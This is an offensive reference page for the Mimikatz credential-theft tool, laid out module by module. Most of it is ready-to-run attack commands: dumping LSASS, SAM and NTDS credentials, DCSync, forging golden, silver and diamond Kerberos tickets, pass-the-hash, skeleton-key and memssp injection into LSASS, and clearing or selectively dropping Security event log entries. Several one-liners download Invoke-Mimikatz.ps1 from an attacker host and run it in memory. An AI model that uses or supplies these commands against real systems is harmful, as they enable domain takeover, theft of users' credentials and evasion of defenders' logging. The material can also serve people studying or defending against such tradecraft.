ᛉ Yggdrasil

Tool references

Mimikatz Wiki

15 Sep 2026 · 5,610 words · 26 min

Contents

Author: Benjamin Delpy (@gentilkiwi) Repo: https://github.com/gentilkiwi/mimikatz Description: A post-exploitation credential extraction and Kerberos ticket manipulation tool for Windows Wiki: https://github.com/gentilkiwi/mimikatz/wiki

Overview

Mimikatz is a Windows post-exploitation tool that interfaces directly with Windows authentication subsystems (LSASS, NTDS, SAM, DPAPI, Kerberos) to extract credentials, forge tickets, and manipulate security tokens. Originally a proof-of-concept for demonstrating weaknesses in WDigest authentication, it has grown into the most comprehensive credential access tool in existence.

                    ┌──────────────────────────────────────────────────┐
                    │                   mimikatz                       │
                    └──────────────────────────────────────────────────┘
                                          │
          ┌───────────────────────────────┼───────────────────────────────┐
          │                               │                               │
   ┌──────▼──────┐                ┌───────▼──────┐               ┌───────▼──────┐
   │   sekurlsa  │                │   lsadump    │               │   kerberos   │
   │  (LSASS)    │                │ (SAM/NTDS)   │               │  (Tickets)   │
   └──────┬──────┘                └───────┬──────┘               └───────┬──────┘
          │                               │                              │
   Plaintext Creds              NTLM Hashes / DCSync          Golden / Silver / PTT
   NTLM Hashes                  LSA Secrets                   Pass-the-Ticket
   Kerberos Keys                DCShadow                      Forged Tickets

          ┌───────────────────────────────┬───────────────────────────────┐
          │                               │                               │
   ┌──────▼──────┐                ┌───────▼──────┐               ┌───────▼──────┐
   │    token    │                │    dpapi     │               │    misc      │
   │ (Impersonate│                │  (Decrypt    │               │ (Skeleton Key│
   │  Tokens)    │                │   Secrets)   │               │  memssp)     │
   └─────────────┘                └──────-───────┘               └────────-─────┘

Key capabilities:

  • Dump plaintext passwords and NTLM hashes from LSASS memory
  • Extract credentials from SAM, NTDS.dit, and LSA secrets
  • Perform DCSync attacks without code running on the DC
  • Forge Golden, Silver, Diamond, and Sapphire Kerberos tickets
  • Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash
  • Impersonate Windows security tokens
  • Decrypt DPAPI-protected secrets (browser passwords, Wi-Fi keys, etc.)
  • Inject skeleton keys into a live DC's LSASS
  • Export certificates and private keys from the Windows certificate store
  • Clear Windows event logs

Installation and Getting Mimikatz

Precompiled Binaries (GitHub Releases)

https://github.com/gentilkiwi/mimikatz/releases

The release zip contains:

mimikatz_trunk/
├── Win32/
│   ├── mimikatz.exe        # 32-bit interactive binary
│   ├── mimilib.dll         # SSP injection library
│   └── mimidrv.sys         # Kernel driver (for driver-based attacks)
└── x64/
    ├── mimikatz.exe        # 64-bit interactive binary
    ├── mimilib.dll
    └── mimidrv.sys

Use x64 on all modern systems. Win32 is for 32-bit targets or specific injection scenarios.

Compile From Source

# Requires Visual Studio with Windows SDK
git clone https://github.com/gentilkiwi/mimikatz
# Open mimikatz.sln in Visual Studio, build in Release/x64

Kali Linux (for dumping offline or remote use)

sudo apt install mimikatz
# Or via winexe/impacket chains targeting a Windows host

In-Memory via PowerShell (Invoke-Mimikatz)

# From PowerSploit / Nishang
iex (New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

The PowerShell version uses reflection to load the PE in memory, avoiding writing mimikatz.exe to disk entirely.

Execution Modes

Interactive Shell

Drop into a persistent interactive mimikatz prompt:

mimikatz.exe

Commands are typed one per line. Output is printed to the console.

  .#####.   mimikatz 2.2.0 (x64) ...
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

Exit with:

exit

One-liner (Command Mode)

Pass commands directly as arguments. Commands are separated by spaces; each is quoted:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

Chain multiple commands:

mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" exit

Redirect output to a file:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > C:\output.txt

PowerShell / In-Memory

Completely avoids writing the binary to disk. Uses reflective PE loading.

# Download and execute in memory (PowerSploit variant)
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.1/Invoke-Mimikatz.ps1')

# Dump credentials in memory
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

# Against a remote machine (requires admin + PSRemoting)
Invoke-Mimikatz -ComputerName DC01

Remote Execution via CrackMapExec / NetExec

Run mimikatz commands remotely via SMB without touching disk (uses --sam, --lsa, or --ntds built-ins, or -x):

# Dump SAM hashes via SMB
nxc smb TARGET -u user -p pass --sam

# Dump LSA secrets
nxc smb TARGET -u user -p pass --lsa

# Dump NTDS.dit (DC only)
nxc smb TARGET -u user -p pass --ntds

# Run mimikatz directly via exec
nxc smb TARGET -u user -p pass -x 'mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit'

# Use Invoke-Mimikatz via PowerShell
nxc smb TARGET -u user -p pass -X 'IEX(New-Object Net.WebClient).DownloadString("http://ATTACKER/Invoke-Mimikatz.ps1"); Invoke-Mimikatz'

Privilege Requirements

┌────────────────────────┬────────────────────────────────────────────────┐
│  Privilege / Right     │  What it enables                               │
├────────────────────────┼────────────────────────────────────────────────┤
│  SeDebugPrivilege      │  Read/write any process memory (incl. LSASS)   │
│  (privilege::debug)    │  Required for almost all sekurlsa commands      │
├────────────────────────┼────────────────────────────────────────────────┤
│  NT AUTHORITY\SYSTEM   │  Required for lsadump::sam, lsadump::secrets,  │
│  (token::elevate)      │  skeleton key injection, mimidrv.sys driver ops │
├────────────────────────┼────────────────────────────────────────────────┤
│  Local Admin           │  Minimum for SeDebugPrivilege + token steal     │
├────────────────────────┼────────────────────────────────────────────────┤
│  Domain Admin / DA     │  DCSync, DCShadow, NTDS dump                    │
│  or Replication rights │                                                 │
└────────────────────────┴────────────────────────────────────────────────┘

Standard privilege elevation sequence before any sensitive dump:

mimikatz # privilege::debug
mimikatz # token::elevate

privilege::debug enables SeDebugPrivilege on the current process. token::elevate impersonates the SYSTEM token, escalating from local admin to SYSTEM within the process.

Module Overview

Module Purpose
sekurlsa:: Read credentials from LSASS memory
lsadump:: Dump SAM, LSA secrets, NTDS, DCSync, DCShadow
kerberos:: List, export, import, forge Kerberos tickets
token:: Enumerate and impersonate security tokens
crypto:: List and export certificates and private keys
vault:: Read Windows Credential Manager secrets
dpapi:: Decrypt DPAPI masterkeys and blobs
misc:: Skeleton key, memssp, memory SSP, cmd as SYSTEM
net:: Network share/session enumeration
process:: Suspend, terminate, export process memory
event:: Clear Windows event logs
ts:: Terminal Services session manipulation
minesweeper:: Reveal a Minesweeper board (demonstration only)
standard:: Built-in: version, cls, sleep, exit

sekurlsa:: Module

Interacts directly with LSASS memory to extract credentials cached by various authentication providers.

┌──────────────────────────────────────────────────────────────────┐
│                          LSASS.exe                               │
├──────────────┬──────────────┬─────────────┬──────────────────────┤
│   WDigest    │    NTLM SSP  │  Kerberos   │   Live SSP / TSPKG  │
│  (plaintext) │  (NT hashes) │  (tickets,  │   (more plaintext)  │
│              │              │   keys)     │                      │
└──────────────┴──────────────┴─────────────┴──────────────────────┘
        ▲               ▲             ▲                ▲
        └───────────────┴─────────────┴────────────────┘
                    sekurlsa:: reads all of these

Requirement: privilege::debug (and usually token::elevate) before any sekurlsa command.

sekurlsa::logonpasswords

The most commonly used command. Dumps credentials for all logon sessions currently in LSASS. Returns plaintext passwords if WDigest is enabled, and NTLM hashes in all cases.

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

Example output:

Authentication Id : 0 ; 1234567 (00000000:0012d687)
Session           : Interactive from 1
User Name         : john.doe
Domain            : CORP
Logon Server      : DC01
Logon Time        : 5/25/2026 9:00:00 AM
SID               : S-1-5-21-...

        msv :
         [00000003] Primary
         * Username : john.doe
         * Domain   : CORP
         * NTLM     : aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
         * SHA1     : ...

        wdigest :
         * Username : john.doe
         * Domain   : CORP
         * Password : (null)     <-- null unless WDigest enabled (pre-Win8.1 default)

        kerberos :
         * Username : john.doe
         * Domain   : CORP.LOCAL
         * Password : (null)

On Windows 8.1+ and Server 2012R2+, WDigest is disabled by default. Plaintext passwords will be (null) unless the registry is patched or the machine runs older Windows.

sekurlsa::wdigest

Explicitly dumps only WDigest provider entries (same as logonpasswords but filtered to WDigest cache).

mimikatz # sekurlsa::wdigest

Re-enable WDigest on target (for persistence):

# Attacker enables WDigest so next logon caches plaintext
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
# Wait for next authentication event (user locks/unlocks, etc.)

sekurlsa::msv

Dumps MSV1_0 (NTLM) provider entries — these contain NT hashes even when WDigest is disabled.

mimikatz # sekurlsa::msv

sekurlsa::kerberos

Dumps Kerberos credentials: usernames, domains, and cleartext passwords when available.

mimikatz # sekurlsa::kerberos

sekurlsa::tspkg

Dumps TS-PKG (Terminal Services) credentials. Can yield plaintext passwords from RDP sessions.

mimikatz # sekurlsa::tspkg

sekurlsa::livessp

Dumps Live SSP credentials (Microsoft account / PIN authentication flow).

mimikatz # sekurlsa::livessp

sekurlsa::ssp

Dumps credentials from custom SSPs registered in LSASS. Used with misc::memssp to capture future logins in plaintext.

mimikatz # sekurlsa::ssp

sekurlsa::credman

Dumps Windows Credential Manager entries stored in LSASS (network passwords, saved credentials).

mimikatz # sekurlsa::credman

sekurlsa::ekeys

Dumps Kerberos encryption keys (AES128, AES256, RC4/NTLM). Critical for creating high-quality Kerberos tickets that don't trigger RC4 downgrade alerts.

mimikatz # sekurlsa::ekeys

Example output:

 * Username : krbtgt
 * Domain   : CORP.LOCAL
 * Password : (null)
 * Key List :
   aes256_hmac       : 9f0f8b...  <-- Use this for golden ticket (OPSEC safe)
   aes128_hmac       : ...
   rc4_hmac_nt       : ...        <-- Traditional NTLM hash

sekurlsa::tickets

Lists all Kerberos tickets from all logon sessions in LSASS.

mimikatz # sekurlsa::tickets

# Export all tickets to .kirbi files
mimikatz # sekurlsa::tickets /export

Exported .kirbi files can be imported back with kerberos::ptt or converted to .ccache for use with Impacket.

sekurlsa::dpapiSystem

Dumps the DPAPI SYSTEM key. Combined with user masterkeys, allows decryption of all DPAPI-protected secrets on the system.

mimikatz # sekurlsa::dpapiSystem

sekurlsa::minidump

Reads LSASS from a crash dump file instead of live LSASS. Useful for offline analysis after dumping with Task Manager, ProcDump, comsvcs.dll, or custom tooling.

# First, dump LSASS on target (e.g., with comsvcs.dll)
rundll32 C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\Temp\lsass.dmp full

# Then on attacker machine (Windows only; needs matching architecture)
mimikatz # sekurlsa::minidump C:\Temp\lsass.dmp
mimikatz # sekurlsa::logonpasswords

# Or using pypykatz on Kali for offline analysis
pypykatz lsa minidump lsass.dmp

lsadump:: Module

Interfaces with the LSA (Local Security Authority) database, SAM hive, and NTDS.dit. Operates at the kernel/registry level rather than LSASS memory.

lsadump::sam

Dumps NT hashes from the local SAM database. Requires SYSTEM privileges.

mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam

# From offline SAM + SYSTEM hive files (e.g., from a previous reg save)
mimikatz # lsadump::sam /sam:C:\sam.hive /system:C:\system.hive

Dump SAM hive offline on target for later analysis:

reg save HKLM\SAM C:\Temp\sam.hive
reg save HKLM\SYSTEM C:\Temp\system.hive

lsadump::secrets

Dumps LSA secrets from the registry. Contains service account credentials, cached domain credentials, DPAPI machine key, and autologon passwords.

mimikatz # lsadump::secrets

# From offline hive files
mimikatz # lsadump::secrets /security:C:\security.hive /system:C:\system.hive

Common secrets:

Secret Name Contents
$MACHINE.ACC Machine account password (NTLM hash)
_SC_<servicename> Service account plaintext password
DefaultPassword Autologon password
NL$KM Cached domain credential encryption key
DPAPI_SYSTEM DPAPI machine key (system blobs)

lsadump::cache

Dumps cached domain credentials (DCC2 hashes). These are stored locally so users can log in when the DC is unreachable. DCC2 hashes are slow to crack.

mimikatz # lsadump::cache

DCC2 is PBKDF2(MD4(password), username, 10240 iterations). Use hashcat mode 2100.

lsadump::dcsync

Performs a DCSync attack — simulates the replication behavior of a Domain Controller to request credential data without running code on the DC itself. Requires DS-Replication-Get-Changes and DS-Replication-Get-Changes-All rights (held by DAs, Enterprise Admins, and any account with explicit DCSync ACL).

# Dump a single user's hash
mimikatz # lsadump::dcsync /user:CORP\krbtgt

# Dump a specific domain's krbtgt
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# Dump all users (equivalent to impacket secretsdump -just-dc)
mimikatz # lsadump::dcsync /all /csv

# Dump from a specific DC
mimikatz # lsadump::dcsync /dc:DC01.corp.local /user:Administrator

┌─────────────┐   Replication Request (MS-DRSR)    ┌──────────────┐
│  Attacker   │  ─────────────────────────────────► │     DC01     │
│  (mimikatz) │  ◄───────────────────────────────── │              │
└─────────────┘   User creds (NTLM, AES keys, etc) └──────────────┘
  (No code runs on the DC — only network replication traffic)

This is the recommended way to perform credential extraction from a DA context. No code touches the DC's LSASS directly.

lsadump::lsa /patch

Dumps in-memory LSA secrets from a live system by patching LSASS. An older technique superseded by dcsync in most scenarios.

mimikatz # privilege::debug
mimikatz # lsadump::lsa /patch

# Or inject and patch directly
mimikatz # lsadump::lsa /inject

lsadump::dcshadow

Registers a rogue Domain Controller within the AD environment to push arbitrary attribute changes — including credential updates — without logging to AD audit logs. Requires Domain Admin or DA equivalent.

DCShadow requires two concurrent mimikatz processes:

┌───────────────────────────────────────────────────────┐
│  Process 1 (as DA): Registers the rogue DC             │
│    mimikatz # lsadump::dcshadow /object:targetUser     │
│              /attribute:unicodePwd /value:<NT_HASH>    │
│                                                        │
│  Process 2 (as SYSTEM): Triggers replication push      │
│    mimikatz # lsadump::dcshadow /push                  │
└───────────────────────────────────────────────────────┘

Full example:

# Terminal 1 — set up the rogue DC and define the change
mimikatz # lsadump::dcshadow /object:targetUser /attribute:unicodePwd /value:<NTHASH>

# Terminal 2 — trigger the push
mimikatz # lsadump::dcshadow /push

lsadump::trust

Dumps inter-domain trust keys, including the trust account NTLM hash (used for inter-realm ticket forging).

mimikatz # lsadump::trust /patch

lsadump::backupkeys

Retrieves DPAPI domain backup keys from a DC (via MS-BKRP protocol). These keys can decrypt any user DPAPI masterkey in the domain.

mimikatz # lsadump::backupkeys /export

# Target a specific DC
mimikatz # lsadump::backupkeys /export /dc:DC01.corp.local

Exported .pvk file can later be fed to dpapi::masterkey /pvk: to decrypt any user's masterkey offline.

kerberos:: Module

Manipulates Kerberos tickets in the current Windows session. Covers reading, writing, purging, forging, and passing tickets.

┌────────────────────────────────────────────────────────────────┐
│                    Kerberos Ticket Types                       │
├──────────────────┬─────────────────────────────────────────────┤
│  TGT             │  Ticket-Granting Ticket — proves identity    │
│  (krbtgt key)    │  to KDC; used to request service tickets     │
├──────────────────┼─────────────────────────────────────────────┤
│  TGS / Service   │  Service Ticket — grants access to specific  │
│  Ticket          │  service; encrypted with target service key  │
├──────────────────┼─────────────────────────────────────────────┤
│  .kirbi           │  Windows ticket format (mimikatz native)    │
│  .ccache          │  Linux/Impacket format (convert with        │
│                  │  ticketConverter.py)                         │
└──────────────────┴─────────────────────────────────────────────┘

kerberos::list

Lists all Kerberos tickets in the current session.

mimikatz # kerberos::list

# Export to .kirbi files
mimikatz # kerberos::list /export

kerberos::ptt

Pass-the-Ticket: injects a .kirbi ticket into the current session's Kerberos ticket cache.

# Inject a single ticket
mimikatz # kerberos::ptt ticket.kirbi

# Inject from a directory of .kirbi files
mimikatz # kerberos::ptt C:\Tickets\

After PTT, use klist to verify and then access resources:

klist
dir \\DC01\C$

kerberos::purge

Purges all Kerberos tickets from the current session. Use before injecting forged tickets to avoid conflicts.

mimikatz # kerberos::purge

kerberos::golden

Golden Ticket — forges a TGT signed with the krbtgt NTLM hash or AES key. Valid for any user, any group, any domain. Default lifetime is 10 years.

mimikatz # kerberos::golden /user:Administrator /domain:corp.local \
           /sid:S-1-5-21-<DOMAIN_SID> /krbtgt:<KRBTGT_NTLM_HASH> \
           /ticket:golden.kirbi

# Using AES256 key (more OPSEC safe — avoids RC4 downgrade detection)
mimikatz # kerberos::golden /user:Administrator /domain:corp.local \
           /sid:S-1-5-21-<DOMAIN_SID> \
           /aes256:<KRBTGT_AES256_KEY> \
           /ticket:golden.kirbi

# Add extra group memberships (e.g., Enterprise Admins SID for cross-domain)
mimikatz # kerberos::golden /user:Administrator /domain:corp.local \
           /sid:S-1-5-21-<DOMAIN_SID> /krbtgt:<NTLM> \
           /groups:512,519 /ticket:golden.kirbi

┌────────────────────────────────────────────────────────────────┐
│  Golden Ticket Requirements                                    │
├────────────────┬───────────────────────────────────────────────┤
│  /domain       │  FQDN of target domain                        │
│  /sid          │  Domain SID (without RID)                     │
│  /user         │  Username to impersonate (can be nonexistent) │
│  /krbtgt       │  krbtgt NTLM hash  (or /aes256 key)           │
└────────────────┴───────────────────────────────────────────────┘

Inject and use:

mimikatz # kerberos::ptt golden.kirbi
dir \\DC01.corp.local\C$

kerberos::silver

Silver Ticket — forges a TGS (service ticket) signed with the target service account's NTLM hash. More stealthy than a golden ticket because it never touches the KDC — no TGT is requested.

mimikatz # kerberos::silver /user:Administrator /domain:corp.local \
           /sid:S-1-5-21-<DOMAIN_SID> /service:cifs \
           /target:DC01.corp.local \
           /rc4:<SERVICE_ACCOUNT_NTLM> \
           /ticket:silver.kirbi

Common service types for /service::

SPN Access
cifs SMB file shares (\\server\share)
host PsExec, Task Scheduler, remote commands
http Web services, WinRM
ldap AD queries via LDAP
mssql or MSSQLSvc SQL Server
krbtgt Used in golden ticket
rpcss RPC services (WMI)

kerberos::diamond

Diamond Ticket — requests a real TGT from the KDC, then modifies (decrypts and re-encrypts) the PAC using the krbtgt key. More legitimate-looking than a golden ticket since it originates from a real KDC interaction.

mimikatz # kerberos::diamond /user:Administrator /domain:corp.local \
           /dc:DC01.corp.local /enctype:aes256 \
           /aes256:<KRBTGT_AES256_KEY> \
           /krbkey:<USER_AES256_KEY> \
           /ticket:diamond.kirbi

kerberos::golden (Sapphire Ticket variation)

Sapphire Ticket — requests a legitimate TGT via S4U2Self and S4U2Proxy from the KDC and then re-signs it with the krbtgt AES key. The PAC comes directly from the DC — the most authentic-looking forged ticket type.

Sapphire tickets require Impacket's ticketer.py for full generation as mimikatz's built-in golden/diamond commands don't fully implement the sapphire flow. However, the krbtgt AES key obtained via sekurlsa::ekeys or lsadump::dcsync is required regardless.

kerberos::ask

Requests a new service ticket (TGS) from the KDC for a given SPN using the current session's TGT.

mimikatz # kerberos::ask /target:MSSQLSvc/sqlserver.corp.local:1433

kerberos::tgt

Retrieves the current session's TGT from LSASS (requires SeDebugPrivilege).

mimikatz # privilege::debug
mimikatz # kerberos::tgt

token:: Module

Enumerates and manipulates Windows access tokens. Enables impersonation of other users or escalation to SYSTEM.

token::whoami

Displays the current process's security context.

mimikatz # token::whoami

token::list

Lists all access tokens available on the system (requires SeDebugPrivilege).

mimikatz # privilege::debug
mimikatz # token::list

token::elevate

Impersonates a SYSTEM token. Required before many lsadump commands and misc attacks.

# Default: steal first available SYSTEM token
mimikatz # token::elevate

# Target a specific token by ID or user
mimikatz # token::elevate /domainadmin

# Elevate to NETWORK SERVICE
mimikatz # token::elevate /user:NT AUTHORITY\NETWORK SERVICE

token::impersonate

Impersonates another user's token by process PID.

# List tokens first to get PID
mimikatz # token::list

# Impersonate by PID
mimikatz # token::impersonate /id:1234

token::revert

Reverts back to the original token (undoes impersonation).

mimikatz # token::revert

token::run

Runs a command under an impersonated token.

mimikatz # token::run /user:Administrator /process:cmd.exe

crypto:: Module

Interfaces with the Windows CryptoAPI and CNG (Cryptography Next Generation) subsystem to list, export, and manipulate certificates and private keys.

crypto::certificates

Lists certificates from a specific store, optionally with private key export.

# List system certificate stores
mimikatz # crypto::certificates /store:MY

# Export certificates and private keys to files
mimikatz # crypto::certificates /export

# From a specific store (user, system, or both)
mimikatz # crypto::certificates /store:CA /export
mimikatz # crypto::certificates /systemstore:LOCAL_MACHINE /store:MY /export

Common store names:

Store Contents
MY Personal certificates (user or machine)
CA Intermediate CA certificates
ROOT Trusted root CAs
NTDS DC certificate store (ADCS enrollment)

Exported PFX files can be used directly with Certipy or Rubeus for authentication.

crypto::keys

Lists or exports CNG (private) keys from a machine.

mimikatz # crypto::keys
mimikatz # crypto::keys /export

crypto::stores

Lists all certificate store providers and available stores.

mimikatz # crypto::stores
mimikatz # crypto::stores /systemstore:LOCAL_MACHINE

vault:: Module

Reads Windows Credential Manager (vault) entries — saved passwords for websites, network shares, and scheduled tasks.

vault::list

Lists all entries in the Windows vault.

mimikatz # vault::list

vault::cred

Dumps credentials from a vault, including cleartext passwords if accessible.

mimikatz # vault::cred

# With GUIDs if known
mimikatz # vault::cred /patch

dpapi:: Module

Decrypts DPAPI-protected secrets: browser saved passwords, Wi-Fi keys, RDP credentials, Outlook credentials, and anything encrypted with CryptProtectData.

┌──────────────────────────────────────────────────────────────────────┐
│                         DPAPI Chain                                  │
├──────────────────────────────────────────────────────────────────────┤
│  Encrypted Blob  ──►  MasterKey (encrypted)  ──►  MasterKey (plain)  │
│                          (protected by user password or domain key)  │
│                                                                      │
│  Domain Backup Key  ──►  Can decrypt ANY user MasterKey in domain    │
└──────────────────────────────────────────────────────────────────────┘

dpapi::masterkey

Decrypts a DPAPI masterkey file. Requires either the user's password, SHA1 hash, or the domain backup key.

# Using user password
mimikatz # dpapi::masterkey /in:"C:\...\AppData\Roaming\Microsoft\Protect\{SID}\{GUID}" /password:UserP@ss

# Using domain backup key (from lsadump::backupkeys)
mimikatz # dpapi::masterkey /in:"...\{GUID}" /pvk:ntds_capi_backup.pvk

# Using a system-stored key (when running as that user or SYSTEM)
mimikatz # dpapi::masterkey /in:"...\{GUID}" /rpc

dpapi::cache

Lists decrypted masterkeys cached in the current session (after previous dpapi::masterkey calls).

mimikatz # dpapi::cache

dpapi::blob

Decrypts a raw DPAPI blob. Requires the GUID of the masterkey used to encrypt it.

mimikatz # dpapi::blob /in:encrypted.blob /masterkey:<masterkey_GUID>

# Using cached masterkeys
mimikatz # dpapi::blob /in:encrypted.blob

dpapi::cred

Decrypts Windows Credential files (.cred files stored in %APPDATA%\Microsoft\Credentials\).

mimikatz # dpapi::cred /in:"C:\Users\user\AppData\Roaming\Microsoft\Credentials\<GUID>"

dpapi::chrome

Decrypts Google Chrome saved passwords (pre-v80 DPAPI-only; v80+ requires App-Bound Encryption bypass).

# Pre-Chrome v80
mimikatz # dpapi::chrome /in:"C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data"

# With explicit masterkey
mimikatz # dpapi::chrome /in:"...\Login Data" /masterkey:<hex_masterkey>

dpapi::wifi

Decrypts saved Wi-Fi passwords from the Windows Wi-Fi profile store.

mimikatz # dpapi::wifi /in:"C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\{..}\{profile_GUID}.xml"

misc:: Module

Miscellaneous offensive capabilities: skeleton key, custom SSP injection, command execution.

misc::skeleton

Skeleton Key — patches LSASS on a live DC to accept a universal password ("mimikatz" by default) for all domain accounts. The real passwords still work; the skeleton key is additive.

mimikatz # privilege::debug
mimikatz # misc::skeleton

After injection:

# Any domain user can now authenticate with "mimikatz" as their password
net use \\DC01\C$ /user:CORP\AnyUser mimikatz

┌────────────────────────────────────────────────────────────┐
│  WARNING                                                   │
│  Skeleton key does NOT survive a reboot — LSASS is          │
│  restarted and the patch is lost.                          │
│  It also does NOT work when 'Protected Users' is enabled   │
│  or when LSASS runs as a Protected Process Light (PPL).    │
└────────────────────────────────────────────────────────────┘

misc::memssp

Injects a custom in-memory SSP (Security Support Provider) into LSASS that logs all subsequent authentication attempts (username + plaintext password) to a file.

mimikatz # privilege::debug
mimikatz # misc::memssp

Credentials are written to:

C:\Windows\System32\mimilsa.log

This is a persistence/collection technique. Any user authenticating to the machine after the injection will have their credentials logged in plaintext. Does not survive a reboot.

misc::ssp

Registers mimilib.dll as a persistent SSP/AP in the registry. Survives reboots; credentials are logged to C:\Windows\System32\kiwissp.log on every authentication.

mimikatz # misc::ssp

Requires mimilib.dll to be placed in C:\Windows\System32\.

Registry key modified:

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages

misc::cmd

Spawns a cmd.exe with SYSTEM privileges (requires SYSTEM token already held).

mimikatz # token::elevate
mimikatz # misc::cmd

misc::reboot

Reboots the system immediately.

mimikatz # misc::reboot

net:: Module

Network share and session enumeration. Wraps Windows NetAPI functions.

net::share

Lists SMB shares on the local or a remote system.

mimikatz # net::share

# Remote
mimikatz # net::share /server:192.168.1.10

net::user

Lists local users or domain users.

mimikatz # net::user

# Domain users
mimikatz # net::user /domain

net::session

Lists active sessions on the local machine.

mimikatz # net::session

net::tod

Gets the time of day from a remote server.

mimikatz # net::tod /server:DC01

process:: Module

Process manipulation for suspended state and memory export.

process::list

Lists running processes.

mimikatz # process::list

process::suspend

Suspends a process by PID or name.

mimikatz # process::suspend /pid:1234
mimikatz # process::suspend /name:sysmon.exe

process::resume

Resumes a suspended process.

mimikatz # process::resume /pid:1234

process::stop

Terminates a process.

mimikatz # process::stop /pid:1234

process::exports

Dumps the export table of a running process module.

mimikatz # process::exports /pid:1234

event:: Module

Clears Windows event logs — used for post-exploitation cleanup.

event::clear

Clears a specific event log.

# Clear Security log
mimikatz # event::clear /log:Security

# Clear System log
mimikatz # event::clear /log:System

# Clear Application log
mimikatz # event::clear /log:Application

# Drop a specific event ID from the Security log
mimikatz # event::drop /log:Security /id:4624

event::drop removes individual events rather than the whole log, which is more subtle.

ts:: Module

Terminal Services session manipulation.

ts::sessions

Lists active Terminal Services (RDP) sessions.

mimikatz # ts::sessions

ts::mstsc

Extracts credentials from an active mstsc.exe (RDP client) process — reads the in-memory credential cache used by Windows Remote Desktop.

mimikatz # privilege::debug
mimikatz # ts::mstsc

ts::multirdp

Patches the terminal services DLL to allow multiple concurrent RDP sessions on a non-server Windows installation.

mimikatz # ts::multirdp

Common Attack Workflows

Workflow: Full Credential Dump (Local)

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

mimikatz # sekurlsa::logonpasswords
[... NTLM hashes and any cached plaintext ...]

mimikatz # lsadump::sam
[... local account hashes ...]

mimikatz # lsadump::secrets
[... LSA secrets, service account credentials ...]

Workflow: DCSync (Credential Extraction from a DA Context)

# From any machine with DA (or DCSync-right) credentials
mimikatz # privilege::debug

# Dump krbtgt (for Golden Ticket)
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# Dump Administrator
mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator

# Dump everything (CSV format)
mimikatz # lsadump::dcsync /all /csv

Or from Linux using Impacket (does not require running mimikatz):

impacket-secretsdump corp.local/Administrator:pass@DC_IP -just-dc

Workflow: Golden Ticket Attack

Step 1 — Get krbtgt hash (via DCSync)
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
  > NTLM : aabbccddeeff...
  > AES256: 9f0f8b...

Step 2 — Get Domain SID
mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator
  > SID: S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx

Step 3 — Forge Golden Ticket
mimikatz # kerberos::golden \
           /user:Administrator \
           /domain:corp.local \
           /sid:S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx \
           /aes256:9f0f8b... \
           /ticket:golden.kirbi

Step 4 — Pass the Ticket
mimikatz # kerberos::ptt golden.kirbi

Step 5 — Access resources
cmd> dir \\DC01.corp.local\C$
cmd> psexec \\DC01.corp.local cmd

Workflow: Silver Ticket Attack

Step 1 — Obtain service account NTLM hash
         (via sekurlsa::logonpasswords, lsadump::sam, or lsadump::dcsync)

Step 2 — Forge Silver Ticket for CIFS
mimikatz # kerberos::silver \
           /user:Administrator \
           /domain:corp.local \
           /sid:S-1-5-21-... \
           /service:cifs \
           /target:FILESERVER.corp.local \
           /rc4:<service_account_NTLM> \
           /ticket:silver.kirbi

Step 3 — Pass the Ticket
mimikatz # kerberos::ptt silver.kirbi

Step 4 — Access the share (never touches DC/KDC)
cmd> dir \\FILESERVER.corp.local\C$

Workflow: Pass-the-Hash (PTH)

Mimikatz itself can spawn a process with a stolen NT hash via Overpass-the-Hash (creates a Kerberos TGT from the NT hash):

mimikatz # sekurlsa::pth /user:Administrator /domain:corp.local \
           /ntlm:aabbccddeeff... /run:cmd.exe

This spawns a cmd.exe process running as Administrator with a fully functional Kerberos ticket, usable against Kerberos-only services.

From Kali with Impacket (Pass-the-Hash directly):

impacket-psexec corp.local/Administrator@TARGET_IP -hashes :NTHASH
impacket-wmiexec corp.local/Administrator@TARGET_IP -hashes :NTHASH

Workflow: Pass-the-Ticket (PTT) with Exported Tickets

Step 1 — Export tickets from a compromised machine
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
# Produces: [0;12345]-2-0-40e10000-john.doe@krbtgt-CORP.LOCAL.kirbi

Step 2 — Transfer .kirbi to attacker machine

Step 3 — Inject on attacker machine (Windows) or convert for Linux
mimikatz # kerberos::ptt [0;12345]-2-0-40e10000-john.doe@krbtgt-CORP.LOCAL.kirbi

# For Impacket/Linux — convert .kirbi to .ccache
impacket-ticketConverter john.kirbi john.ccache
export KRB5CCNAME=john.ccache
